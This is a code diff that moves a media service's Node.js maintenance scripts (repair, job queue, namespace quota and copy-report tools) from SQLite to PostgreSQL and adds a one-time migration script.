- try {
- const u = await vs.presignGet(l.provider, l.key, 3600);
- const file = path.join(tmp, `${item.object_id}.${l.provider}`);
- facts[l.provider] = await download(typeof u === 'string' ? u : u.url, file);
- probes[l.provider] = await probe(file);
- } catch (err) { probes[l.provider] = { error: err.message }; }
- }
- const step = h15.plan(item, probes, facts);
- if (step.action === 'rebaseline' || step.action === 'resize') Object.assign(step, { facts: facts[step.provider], probe: { duration: probes[step.provider].duration, streams: probes[step.provider].streams } });
- if (step.action === 'failed_recording') step.probe = probes[step.provider];
- if (step.action === 'regenerate') {
- const loc = item.locations.find((l) => l.provider === 'local');
- const file = path.join(tmp, `${item.object_id}.jpg`);
- try { step.facts = await extractFrame(step.source_vod, step.offset, file); step.file = file; step.target = loc && loc.key; }
- catch (err) { Object.assign(step, { action: 'lost', reason: `the frame could not be extracted again: ${err.message}` }); }
- }
- if (step.probe && step.probe.errorLines) step.probe = { ...step.probe, errorLines: step.probe.errorLines.length };
- steps.push(step);
- console.log(`${item.object_id} ${item.kind} ${item.legacy_ref || ''}: ${step.action} — ${step.reason}`);
- }
- const record = { generated_at: new Date().toISOString(), applied: false, objects: report.count, plan: steps.map(({ file, ...s }) => s) };
- if (!APPLY) {
- const out = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(path.resolve(config.db.path)), 'reports', `h15-repair-${record.generated_at.replace(/[:.]/g, '-')}.json`);
- fs.mkdirSync(path.dirname(out), { recursive: true });
- fs.writeFileSync(out, JSON.stringify(record, null, 2));
- console.log(`\nDry run: nothing changed. Plan written to ${out}`);
+ async function main() {
+ const h = db.getDb();
+ if (ROLLBACK) {
+ const file = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8'));
+ const out = (await Promise.all((file.changes || []).map(async (c) => (APPLY ? await h15.rollback(h, c) : { ...c, would_restore: true }))));
+ for (const o of out) console.log(`${o.object_id} ${o.action}: ${o.restored ? 'restored' : o.skipped || (o.would_restore ? 'would restore' : '')}`);
return 0;
return 0;
}
}
- const copyPath = BACKUP.replace(/\.json$/, '') + '.media.db';
- for (const f of [BACKUP, copyPath]) if (fs.existsSync(f)) usage(`${f} already exists; pick a new --backup name`);
- const dbCopy = await backupDatabase(copyPath);
- if (dbCopy.integrity_check !== 'ok') { console.error(`backup failed integrity_check: ${dbCopy.integrity_check}; nothing changed`); return 1; }
- const changes = [];
- for (const step of steps) {
- if (step.action === 'lost') continue;
- if (step.action === 'regenerate') {
- if (!step.target) { changes.push({ ...step, skipped: 'no local location to write to' }); continue; }
- fs.mkdirSync(path.dirname(step.target), { recursive: true });
- if (!fs.existsSync(step.target)) fs.copyFileSync(step.file, step.target);
+ const q = { all: async (sql, p = []) => await h.prepare(sql).all(...p), get: async (sql, p = []) => await h.prepare(sql).get(...p) };
+ const report = await copyReport.buildReport(q, {});
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'h15-repair-'));
+ const steps = [];
+ try {
+ for (const item of report.objects) {
+ const probes = {};
+ const facts = {};
+ for (const l of item.locations.filter((x) => (x.provider === 'b2' || x.provider === 'r2') && x.state === 'corrupt')) {
+ try {
+ const u = await vs.presignGet(l.provider, l.key, 3600);
+ const file = path.join(tmp, `${item.object_id}.${l.provider}`);
+ facts[l.provider] = await download(typeof u === 'string' ? u : u.url, file);
+ probes[l.provider] = await probe(file);
+ } catch (err) { probes[l.provider] = { error: err.message }; }
+ }
+ const step = h15.plan(item, probes, facts);
+ if (step.action === 'rebaseline' || step.action === 'resize') Object.assign(step, { facts: facts[step.provider], probe: { duration: probes[step.provider].duration, streams: probes[step.provider].streams } });
+ if (step.action === 'failed_recording') step.probe = probes[step.provider];
+ if (step.action === 'regenerate') {
+ const loc = item.locations.find((l) => l.provider === 'local');
+ const file = path.join(tmp, `${item.object_id}.jpg`);
+ try { step.facts = await extractFrame(step.source_vod, step.offset, file); step.file = file; step.target = loc && loc.key; }
+ catch (err) { Object.assign(step, { action: 'lost', reason: `the frame could not be extracted again: ${err.message}` }); }
+ }
+ if (step.probe && step.probe.errorLines) step.probe = { ...step.probe, errorLines: step.probe.errorLines.length };
+ steps.push(step);
+ console.log(`${item.object_id} ${item.kind} ${item.legacy_ref || ''}: ${step.action} — ${step.reason}`);
+ }
+ const record = { generated_at: new Date().toISOString(), applied: false, objects: report.count, plan: steps.map(({ file, ...s }) => s) };
+ if (!APPLY) {
+ const out = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(path.resolve(config.db.path)), 'reports', `h15-repair-${record.generated_at.replace(/[:.]/g, '-')}.json`);
+ fs.mkdirSync(path.dirname(out), { recursive: true });
+ fs.writeFileSync(out, JSON.stringify(record, null, 2));
+ console.log(`\nDry run: nothing changed. Plan written to ${out}`);
+ return 0;
}
}
- const { file, ...s } = step;
- changes.push(h15.apply(h, s, step.facts));
+ // The database's own safety net is PostgreSQL's point-in-time recovery (pgBackRest); <file.json> is this run's undo.
+ if (fs.existsSync(BACKUP)) usage(`${BACKUP} already exists; pick a new --backup name`);
+ const dbCopy = null;
+ const changes = [];
+ for (const step of steps) {
+ if (step.action === 'lost') continue;
+ if (step.action === 'regenerate') {
+ if (!step.target) { changes.push({ ...step, skipped: 'no local location to write to' }); continue; }
+ fs.mkdirSync(path.dirname(step.target), { recursive: true });
+ if (!fs.existsSync(step.target)) fs.copyFileSync(step.file, step.target);
+ }
+ const { file, ...s } = step;
+ changes.push(await h15.apply(h, s, step.facts));
+ }
+ Object.assign(record, { applied: true, backup: dbCopy, changes });
+ fs.writeFileSync(BACKUP, JSON.stringify(record, null, 2));
+ for (const c of changes) console.log(`${c.object_id} ${c.action}: ${c.skipped ? `skipped (${c.skipped})` : 'applied'}`);
+ console.log(`\nApplied. Rollback file: ${BACKUP}; database copy: ${copyPath}`);
+ return 0;
+ } finally {
+ fs.rmSync(tmp, { recursive: true, force: true });
}
}
- Object.assign(record, { applied: true, backup: dbCopy, changes });
- fs.writeFileSync(BACKUP, JSON.stringify(record, null, 2));
- for (const c of changes) console.log(`${c.object_id} ${c.action}: ${c.skipped ? `skipped (${c.skipped})` : 'applied'}`);
- console.log(`\nApplied. Rollback file: ${BACKUP}; database copy: ${copyPath}`);
- return 0;
- } finally {
- fs.rmSync(tmp, { recursive: true, force: true });
}
}
-}
-main().then((code) => process.exit(code), (err) => { console.error(`h15-repair: ${err.message}`); process.exit(1); });
+ main().then((code) => process.exit(code), (err) => { console.error(`h15-repair: ${err.message}`); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,74 +12,76 @@
@@ -12,74 +12,76 @@
* the size-invariant validator; a dry run unless --apply (which records violations and proposals)
* the size-invariant validator; a dry run unless --apply (which records violations and proposals)
* node scripts/media-jobs.js approve <job id>... [--by <who>] proposed -> queued
* node scripts/media-jobs.js approve <job id>... [--by <who>] proposed -> queued
* node scripts/media-jobs.js cancel <job id>... [--by <who>] [--reason <text>]
* node scripts/media-jobs.js cancel <job id>... [--by <who>] [--reason <text>]
- * (every command takes --db ./data/media.db)
+ * (the database is the service's: DATABASE_URL, from its env file)
*
*
* Nothing here runs a job. Exit 0 on success, 1 when a named job could not be decided, 2 on usage errors.
* Nothing here runs a job. Exit 0 on success, 1 when a named job could not be decided, 2 on usage errors.
*/
*/
const path = require('path');
const path = require('path');
-const args = process.argv.slice(2);
-const has = (n) => args.includes(`--${n}`);
-const arg = (n, d) => { const i = args.indexOf(`--${n}`); return i >= 0 ? args[i + 1] : d; };
-const VALUE_FLAGS = ['status', 'type', 'app', 'limit', 'by', 'reason', 'db'];
-const positional = args.filter((a, i) => !a.startsWith('--') && !(i > 0 && VALUE_FLAGS.includes(String(args[i - 1]).replace(/^--/, ''))));
-if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ const args = process.argv.slice(2);
+ const has = (n) => args.includes(`--${n}`);
+ const arg = (n, d) => { const i = args.indexOf(`--${n}`); return i >= 0 ? args[i + 1] : d; };
+ const VALUE_FLAGS = ['status', 'type', 'app', 'limit', 'by', 'reason', 'db'];
+ const positional = args.filter((a, i) => !a.startsWith('--') && !(i > 0 && VALUE_FLAGS.includes(String(args[i - 1]).replace(/^--/, ''))));
-const db = require('../server/db/database');
-const events = require('../server/events');
-const queue = require('../server/jobs/queue');
-const scan = require('../server/jobs/invariant-scan');
+ const db = require('../server/db/database');
+ const events = require('../server/events');
+ const queue = require('../server/jobs/queue');
+ const scan = require('../server/jobs/invariant-scan');
-function usage(msg) {
- if (msg) console.error(msg);
- console.error('usage: media-jobs.js list|show|scan|approve|cancel … (see the header of this file)');
- process.exit(2);
-}
+ function usage(msg) {
+ if (msg) console.error(msg);
+ console.error('usage: media-jobs.js list|show|scan|approve|cancel … (see the header of this file)');
+ process.exit(2);
+ }
-function line(j) {
- const size = j.params && j.params.source_size_bytes ? ` ${(j.params.source_size_bytes / 1048576).toFixed(0)} MB` : '';
- return `${j.id} ${j.status.padEnd(9)} ${j.type.padEnd(20)} ${j.app_id.padEnd(8)} ${j.object_id || '-'}${size}${j.error ? ` (${j.error})` : ''}`;
-}
+ function line(j) {
+ const size = j.params && j.params.source_size_bytes ? ` ${(j.params.source_size_bytes / 1048576).toFixed(0)} MB` : '';
+ return `${j.id} ${j.status.padEnd(9)} ${j.type.padEnd(20)} ${j.app_id.padEnd(8)} ${j.object_id || '-'}${size}${j.error ? ` (${j.error})` : ''}`;
+ }
-(async () => {
- const [cmd, ...ids] = positional;
- const by = arg('by', `operator:${require('os').userInfo().username}`);
- events.initWriter();
- let exit = 0;
- if (cmd === 'list') {
- const apps = arg('app') ? [arg('app')] : db.all('SELECT DISTINCT app_id FROM media_jobs ORDER BY app_id').map(r => r.app_id);
- const out = [];
- for (const a of apps) out.push(...queue.list(a, { status: arg('status'), type: arg('type'), limit: arg('limit', 50) }).jobs.map(queue.jobPublic));
- console.log(has('json') ? JSON.stringify({ jobs: out, counts: queue.counts() }, null, 2) : [...out.map(line), `counts: ${JSON.stringify(queue.counts())}`].join('\n'));
- } else if (cmd === 'show') {
- const j = queue.jobPublic(queue.get(ids[0]));
- if (!j) usage(`no job ${ids[0]}`);
- console.log(JSON.stringify(j, null, 2));
- } else if (cmd === 'scan') {
- const apps = arg('app') ? [arg('app')] : db.all("SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') ORDER BY app_id").map(r => r.app_id);
- const reports = {};
- for (const a of apps) reports[a] = scan.scanTenant(a, { dryRun: !has('apply') });
- if (has('json')) console.log(JSON.stringify(reports, null, 2));
- else {
- for (const [a, r] of Object.entries(reports)) {
- console.log(`${a}: ${r.violations} public object(s) over ${(r.thresholds.maxBytes / 1048576).toFixed(0)} MB; ${r.dry_run ? 'would propose' : 'proposed'} ${r.proposed}, already proposed ${r.already_proposed}, ${r.dry_run ? 'would withdraw' : 'withdrawn'} ${r.withdrawn} ${JSON.stringify(r.by_type)}`);
+ (async () => {
+ const [cmd, ...ids] = positional;
+ const by = arg('by', `operator:${require('os').userInfo().username}`);
+ await events.initWriter();
+ let exit = 0;
+ if (cmd === 'list') {
+ const apps = arg('app') ? [arg('app')] : (await db.all('SELECT DISTINCT app_id FROM media_jobs ORDER BY app_id')).map(r => r.app_id);
+ const out = [];
+ for (const a of apps) out.push(...(await queue.list(a, { status: arg('status'), type: arg('type'), limit: arg('limit', 50) })).jobs.map(queue.jobPublic));
+ console.log(has('json') ? JSON.stringify({ jobs: out, counts: await queue.counts() }, null, 2) : [...out.map(line), `counts: ${JSON.stringify(await queue.counts())}`].join('\n'));
+ } else if (cmd === 'show') {
+ const j = queue.jobPublic(await queue.get(ids[0]));
+ if (!j) usage(`no job ${ids[0]}`);
+ console.log(JSON.stringify(j, null, 2));
+ } else if (cmd === 'scan') {
+ const apps = arg('app') ? [arg('app')] : (await db.all("SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') ORDER BY app_id")).map(r => r.app_id);
+ const reports = {};
+ for (const a of apps) reports[a] = await scan.scanTenant(a, { dryRun: !has('apply') });
+ if (has('json')) console.log(JSON.stringify(reports, null, 2));
+ else {
+ for (const [a, r] of Object.entries(reports)) {
+ console.log(`${a}: ${r.violations} public object(s) over ${(r.thresholds.maxBytes / 1048576).toFixed(0)} MB; ${r.dry_run ? 'would propose' : 'proposed'} ${r.proposed}, already proposed ${r.already_proposed}, ${r.dry_run ? 'would withdraw' : 'withdrawn'} ${r.withdrawn} ${JSON.stringify(r.by_type)}`);
+ }
+ if (!has('apply')) console.log('(dry run: nothing recorded; --apply records the violations and the proposals)');
}
}
- if (!has('apply')) console.log('(dry run: nothing recorded; --apply records the violations and the proposals)');
- }
- } else if (cmd === 'approve' || cmd === 'cancel') {
- if (!ids.length) usage(`${cmd}: name at least one job`);
- for (const id of ids) {
- const j = queue.get(id);
- if (!j) { console.error(`${id}: no such job`); exit = 1; continue; }
- if (cmd === 'approve') {
- const out = queue.approve(id, { by });
- if (out) console.log(`${id}: queued`); else { console.error(`${id}: is ${j.status}, not a proposal`); exit = 1; }
- } else {
- const out = queue.cancel(id, { by, reason: arg('reason', null) });
- if (out.finished) { console.error(`${id}: already ${out.job.status}`); exit = 1; } else console.log(`${id}: ${out.pending ? 'cancel requested (running)' : 'cancelled'}`);
+ } else if (cmd === 'approve' || cmd === 'cancel') {
+ if (!ids.length) usage(`${cmd}: name at least one job`);
+ for (const id of ids) {
+ const j = await queue.get(id);
+ if (!j) { console.error(`${id}: no such job`); exit = 1; continue; }
+ if (cmd === 'approve') {
+ const out = await queue.approve(id, { by });
+ if (out) console.log(`${id}: queued`); else { console.error(`${id}: is ${j.status}, not a proposal`); exit = 1; }
+ } else {
+ const out = await queue.cancel(id, { by, reason: arg('reason', null) });
+ if (out.finished) { console.error(`${id}: already ${out.job.status}`); exit = 1; } else console.log(`${id}: ${out.pending ? 'cancel requested (running)' : 'cancelled'}`);
+ }
}
}
- }
- } else usage(cmd ? `unknown command ${cmd}` : null);
- db.close();
- process.exit(exit);
+ } else usage(cmd ? `unknown command ${cmd}` : null);
+ await db.close();
+ process.exit(exit);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
new file mode 100755
new file mode 100755
@@ -0,0 +1,25 @@
@@ -0,0 +1,25 @@
+#!/usr/bin/env node
+'use strict';
+/**
+ * The one-time move of Media's SQLite database (DB_PATH) into its PostgreSQL schema (ADR-035; the procedure is
+ * openvibe-sdk docs/migrating-to-postgresql.md, section 6, carried out by openvibe-sdk/db runSqliteMigration).
+ *
+ * node scripts/migrate-to-postgres.js [--sqlite <file>] [--pglite] [--json]
+ *
+ * Applies migrations/ as the owner (DATABASE_DIRECT_URL), copies every table into emptied tables, verifies row counts
+ * and checksums, and exits 1 unless everything verified. The SQLite file is opened read-only. Every table keeps its
+ * name and columns.
+ */
+require('dotenv').config();
+const { runSqliteMigration } = require('openvibe-sdk/db');
+const config = require('../server/config');
+const { MIGRATIONS } = require('../server/db/database');
+
+const TABLES = {};
+
+if (require.main === module) {
+ runSqliteMigration({ service: 'media', sqlite: config.db.path, directUrl: config.db.directUrl, migrations: MIGRATIONS, tables: TABLES })
+ .then((code) => process.exit(code), (err) => { console.error(`migrate-to-postgres failed: ${err.message}`); process.exit(1); });
+}
+
+module.exports = { TABLES };
@@ -98,7 +98,20 @@ const OUT = path.join(ROOT, 'test', 'fixtures', 'n-1');
@@ -98,7 +98,20 @@ const OUT = path.join(ROOT, 'test', 'fixtures', 'n-1');
await server.close();
await server.close();
server = null;
server = null;
- // 3. The schema N-1 left, and the SQL it runs on it.
+ // 3. The schema N-1 left, and the SQL it runs on it. A release on PostgreSQL (ADR-035) records its migration files
+ // instead: N must keep every one of them unchanged and only add (the database's own ledger refuses an edit).
+ const head = { service: svc.service, release: wt.sha, recorded_at: new Date().toISOString(), note: 'N-1 fixture: written by `npm run n-1:record`, replayed by test/n-1.test.js' };
+ const clients = svc.clientReleases ? svc.clientReleases() : null;
+ const migDir = path.join(wt.dir, 'migrations');
+ if (fs.existsSync(migDir)) {
+ const migrations = fs.readdirSync(migDir).filter((f) => f.endsWith('.sql')).sort()
+ .map((name) => ({ name, sha256: require('crypto').createHash('sha256').update(fs.readFileSync(path.join(migDir, name))).digest('hex') }));
+ fs.mkdirSync(OUT, { recursive: true });
+ fs.writeFileSync(path.join(OUT, 'client.json'), `${JSON.stringify({ ...head, ...(clients ? { clients } : {}), manifest, dynamic_calls: dynamic, calls: recorded, ...(ws ? { ws } : {}) }, null, 1)}\n`);
+ fs.writeFileSync(path.join(OUT, 'worker.json'), `${JSON.stringify({ ...head, engine: 'postgresql', migrations, statements: [] }, null, 1)}\n`);
+ console.log(` postgresql: ${migrations.length} migration file(s); wrote ${path.relative(ROOT, OUT)}/client.json and worker.json`);
+ return;
+ }
const db = new Database(dbPath);
const db = new Database(dbPath);
const schema = h.schemaDDL(db);
const schema = h.schemaDDL(db);
const ledger = {};
const ledger = {};
@@ -117,8 +130,6 @@ const OUT = path.join(ROOT, 'test', 'fixtures', 'n-1');
@@ -117,8 +130,6 @@ const OUT = path.join(ROOT, 'test', 'fixtures', 'n-1');
console.log(` sql: ${statements.length} statements (${ran.length} ran, ${failing.size} candidates that do not prepare on N-1's own schema left out), ${schema.length} schema objects, ${lazy.length} created on first use`);
console.log(` sql: ${statements.length} statements (${ran.length} ran, ${failing.size} candidates that do not prepare on N-1's own schema left out), ${schema.length} schema objects, ${lazy.length} created on first use`);
fs.mkdirSync(OUT, { recursive: true });
fs.mkdirSync(OUT, { recursive: true });
- const head = { service: svc.service, release: wt.sha, recorded_at: new Date().toISOString(), note: 'N-1 fixture: written by `npm run n-1:record`, replayed by test/n-1.test.js' };
- const clients = svc.clientReleases ? svc.clientReleases() : null;
fs.writeFileSync(path.join(OUT, 'client.json'), `${JSON.stringify({ ...head, ...(clients ? { clients } : {}), manifest, dynamic_calls: dynamic, calls: recorded, ...(ws ? { ws } : {}) }, null, 1)}\n`);
fs.writeFileSync(path.join(OUT, 'client.json'), `${JSON.stringify({ ...head, ...(clients ? { clients } : {}), manifest, dynamic_calls: dynamic, calls: recorded, ...(ws ? { ws } : {}) }, null, 1)}\n`);
fs.writeFileSync(path.join(OUT, 'worker.json'), `${JSON.stringify({ ...head, user_version: userVersion, schema, ledger, lazy, statements }, null, 1)}\n`);
fs.writeFileSync(path.join(OUT, 'worker.json'), `${JSON.stringify({ ...head, user_version: userVersion, schema, ledger, lazy, statements }, null, 1)}\n`);
console.log(` wrote ${path.relative(ROOT, OUT)}/client.json and worker.json`);
console.log(` wrote ${path.relative(ROOT, OUT)}/client.json and worker.json`);
@@ -13,65 +13,68 @@
@@ -13,65 +13,68 @@
* namespace's own policy (kinds, visibilities, max_object_bytes, strict_verbs; children inherit it,
* namespace's own policy (kinds, visibilities, max_object_bytes, strict_verbs; children inherit it,
* key by key). Listing refreshes the usage snapshot; nothing else is written without --set.
* key by key). Listing refreshes the usage snapshot; nothing else is written without --set.
*/
*/
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] != null && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] != null && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };
-function fail(msg) { console.error(`namespaces: ${msg}`); process.exit(1); }
-const human = (b) => (b == null ? '-' : b >= 1024 ** 3 ? `${(b / 1024 ** 3).toFixed(2)} GB` : b >= 1024 ** 2 ? `${(b / 1024 ** 2).toFixed(1)} MB` : `${b} B`);
+ function fail(msg) { console.error(`namespaces: ${msg}`); process.exit(1); }
+ const human = (b) => (b == null ? '-' : b >= 1024 ** 3 ? `${(b / 1024 ** 3).toFixed(2)} GB` : b >= 1024 ** 2 ? `${(b / 1024 ** 2).toFixed(1)} MB` : `${b} B`);
-try {
- const db = require('../server/db/database');
- const namespaces = require('../server/objects/namespaces');
+ try {
+ const db = require('../server/db/database');
+ const namespaces = require('../server/objects/namespaces');
- if (arg('set')) {
- const row = namespaces.get(arg('set'));
- if (!row) fail(`no namespace ${arg('set')}`);
- const sets = {};
- if (arg('quota-bytes') != null) {
- const v = arg('quota-bytes');
- if (v === 'inherit') sets.quota_bytes = null;
- else if (/^\d+$/.test(v)) sets.quota_bytes = Number(v);
- else fail('--quota-bytes takes a whole number of bytes or `inherit`');
+ if (arg('set')) {
+ const row = await namespaces.get(arg('set'));
+ if (!row) fail(`no namespace ${arg('set')}`);
+ const sets = {};
+ if (arg('quota-bytes') != null) {
+ const v = arg('quota-bytes');
+ if (v === 'inherit') sets.quota_bytes = null;
+ else if (/^\d+$/.test(v)) sets.quota_bytes = Number(v);
+ else fail('--quota-bytes takes a whole number of bytes or `inherit`');
+ }
+ if (arg('quota-objects') != null) {
+ const v = arg('quota-objects');
+ if (v === 'none') sets.quota_objects = null;
+ else if (/^\d+$/.test(v)) sets.quota_objects = Number(v) || null;
+ else fail('--quota-objects takes a whole number or `none`');
+ }
+ if (arg('policy') != null) {
+ let p;
+ try { p = JSON.parse(arg('policy')); } catch { fail('--policy must be JSON'); }
+ const v = namespaces.validatePolicy(p);
+ if (v.error) fail(v.error);
+ sets.policy = JSON.stringify(v.policy);
+ }
+ if (!Object.keys(sets).length) fail('--set needs --quota-bytes, --quota-objects or --policy');
+ console.log(`${row.namespace}: ${Object.entries(sets).map(([k, v]) => `${k} ${row[k] ?? 'NULL'} -> ${v ?? 'NULL'}`).join(', ')}${has('dry-run') ? ' (dry run)' : ''}`);
+ if (!has('dry-run')) {
+ await db.run(`UPDATE media_namespaces SET ${Object.keys(sets).map(k => `${k} = ?`).join(', ')}, updated_at = ov_now() WHERE namespace = ?`, [...Object.values(sets), row.namespace]);
+ }
+ process.exit(0);
}
}
- if (arg('quota-objects') != null) {
- const v = arg('quota-objects');
- if (v === 'none') sets.quota_objects = null;
- else if (/^\d+$/.test(v)) sets.quota_objects = Number(v) || null;
- else fail('--quota-objects takes a whole number or `none`');
- }
- if (arg('policy') != null) {
- let p;
- try { p = JSON.parse(arg('policy')); } catch { fail('--policy must be JSON'); }
- const v = namespaces.validatePolicy(p);
- if (v.error) fail(v.error);
- sets.policy = JSON.stringify(v.policy);
- }
- if (!Object.keys(sets).length) fail('--set needs --quota-bytes, --quota-objects or --policy');
- console.log(`${row.namespace}: ${Object.entries(sets).map(([k, v]) => `${k} ${row[k] ?? 'NULL'} -> ${v ?? 'NULL'}`).join(', ')}${has('dry-run') ? ' (dry run)' : ''}`);
- if (!has('dry-run')) {
- db.run(`UPDATE media_namespaces SET ${Object.keys(sets).map(k => `${k} = ?`).join(', ')}, updated_at = CURRENT_TIMESTAMP WHERE namespace = ?`, [...Object.values(sets), row.namespace]);
- }
- process.exit(0);
- }
- const rows = arg('app') ? namespaces.listForTenant(arg('app')) : db.all('SELECT * FROM media_namespaces ORDER BY app_id, namespace');
- const apps = new Map();
- const out = rows.map((row) => {
- if (!apps.has(row.app_id)) apps.set(row.app_id, db.getApp(row.app_id) || { app_id: row.app_id });
- const app = apps.get(row.app_id);
- return { app_id: row.app_id, ...namespaces.publicShape(app, row, namespaces.reconcile(app, row.namespace)) };
- });
- if (has('json')) { console.log(JSON.stringify({ namespaces: out }, null, 2)); process.exit(0); }
- for (const n of out) {
- const u = n.usage;
- console.log(`${n.namespace} [${n.app_id}${n.root ? ', root' : ''}] ${n.owner}`
- + ` used ${human(u.used_bytes)} / ${n.quota.bytes ? human(n.quota.bytes) : 'no limit'}${n.quota.bytes_from === 'tenant' ? ' (tenant)' : ''}`
- + `, ${u.used_objects} object(s)${n.quota.objects ? ` / ${n.quota.objects}` : ''}`
- + (u.reserved_objects ? `, ${u.reserved_objects} upload(s) reserving ${human(u.reserved_bytes)}` : '')
- + (Object.keys(n.policy).length ? ` policy ${JSON.stringify(n.policy)}` : ''));
+ const rows = arg('app') ? await namespaces.listForTenant(arg('app')) : await db.all('SELECT * FROM media_namespaces ORDER BY app_id, namespace');
+ const apps = new Map();
+ const out = (await Promise.all(rows.map(async (row) => {
+ if (!apps.has(row.app_id)) apps.set(row.app_id, await db.getApp(row.app_id) || { app_id: row.app_id });
+ const app = apps.get(row.app_id);
+ return { app_id: row.app_id, ...await namespaces.publicShape(app, row, await namespaces.reconcile(app, row.namespace)) };
+ })));
+ if (has('json')) { console.log(JSON.stringify({ namespaces: out }, null, 2)); process.exit(0); }
+ for (const n of out) {
+ const u = n.usage;
+ console.log(`${n.namespace} [${n.app_id}${n.root ? ', root' : ''}] ${n.owner}`
+ + ` used ${human(u.used_bytes)} / ${n.quota.bytes ? human(n.quota.bytes) : 'no limit'}${n.quota.bytes_from === 'tenant' ? ' (tenant)' : ''}`
+ + `, ${u.used_objects} object(s)${n.quota.objects ? ` / ${n.quota.objects}` : ''}`
+ + (u.reserved_objects ? `, ${u.reserved_objects} upload(s) reserving ${human(u.reserved_bytes)}` : '')
+ + (Object.keys(n.policy).length ? ` policy ${JSON.stringify(n.policy)}` : ''));
+ }
+ if (!out.length) console.log('no namespaces');
+ } catch (err) {
+ fail(err.message);
}
}
- if (!out.length) console.log('no namespaces');
-} catch (err) {
- fail(err.message);
-}
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -6,32 +6,36 @@
@@ -6,32 +6,36 @@
* can decide what to do with each one. READ-ONLY: the database is opened read-only and nothing is
* can decide what to do with each one. READ-ONLY: the database is opened read-only and nothing is
* deleted, moved or re-projected.
* deleted, moved or re-projected.
*
*
- * node scripts/no-good-copy-report.js [--app live] [--json] [--out report.json] [--db ./data/media.db]
+ * node scripts/no-good-copy-report.js [--app live] [--json] [--out report.json]
*
*
* Exit code 0 when there are none, 1 when some were found, 2 on error.
* Exit code 0 when there are none, 1 when some were found, 2 on error.
*/
*/
const fs = require('fs');
const fs = require('fs');
const path = require('path');
const path = require('path');
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };
-try {
- const dbPath = arg('db') ? path.resolve(arg('db')) : require('../server/config').db.path;
- const Database = require('better-sqlite3');
- const h = new Database(dbPath, { readonly: true, fileMustExist: true });
- const q = {
- all: (sql, params = []) => h.prepare(sql).all(...params),
- get: (sql, params = []) => h.prepare(sql).get(...params),
- };
- const { buildReport, formatReport } = require('../server/objects/copy-report');
- const report = buildReport(q, { appId: arg('app', null) });
- h.close();
- if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));
- console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));
- process.exit(report.count ? 1 : 0);
-} catch (err) {
- console.error(err.message);
- process.exit(2);
-}
+ try {
+ // Read-only: the report runs in a READ ONLY transaction (PostgreSQL refuses any write inside it).
+ const { buildReport, formatReport } = require('../server/objects/copy-report');
+ const d = require('../server/db/database').getDb();
+ const q = {
+ all: async (sql, params = []) => await d.prepare(sql).all(...params),
+ get: async (sql, params = []) => await d.prepare(sql).get(...params),
+ };
+ const report = await d.tx(async (t) => {
+ await t.query('SET TRANSACTION READ ONLY');
+ return await buildReport(q, { appId: arg('app', null) });
+ });
+ if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));
+ console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));
+ process.exit(report.count ? 1 : 0);
+ } catch (err) {
+ console.error(err.message);
+ process.exit(2);
+ }
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,7 +8,7 @@
@@ -8,7 +8,7 @@
* opened read-only and only local files are stat'ed (paths from the service's environment:
* opened read-only and only local files are stat'ed (paths from the service's environment:
* VOD_PATH, CLIPS_PATH, FILES_PATH, THUMBNAILS_PATH, as the projection uses them).
* VOD_PATH, CLIPS_PATH, FILES_PATH, THUMBNAILS_PATH, as the projection uses them).
*
*
- * node scripts/object-drift-report.js [--app live] [--limit 20] [--json] [--out report.json] [--db ./data/media.db]
+ * node scripts/object-drift-report.js [--app live] [--limit 20] [--json] [--out report.json]
*
*
* Exit code 0 always: it is a report (an error is printed to stderr). Zero drift across a release
* Exit code 0 always: it is a report (an error is printed to stderr). Zero drift across a release
* is the signal to remove the boot backfill (server/index.js) and the finalize follow-up.
* is the signal to remove the boot backfill (server/index.js) and the finalize follow-up.
@@ -16,25 +16,29 @@
@@ -16,25 +16,29 @@
const fs = require('fs');
const fs = require('fs');
const path = require('path');
const path = require('path');
-const args = process.argv.slice(2);
-const has = (name) => args.includes(`--${name}`);
-const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };
+(async () => {
+ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service
+ const args = process.argv.slice(2);
+ const has = (name) => args.includes(`--${name}`);
+ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };
-try {
- const dbPath = arg('db') ? path.resolve(arg('db')) : require('../server/config').db.path;
- const Database = require('better-sqlite3');
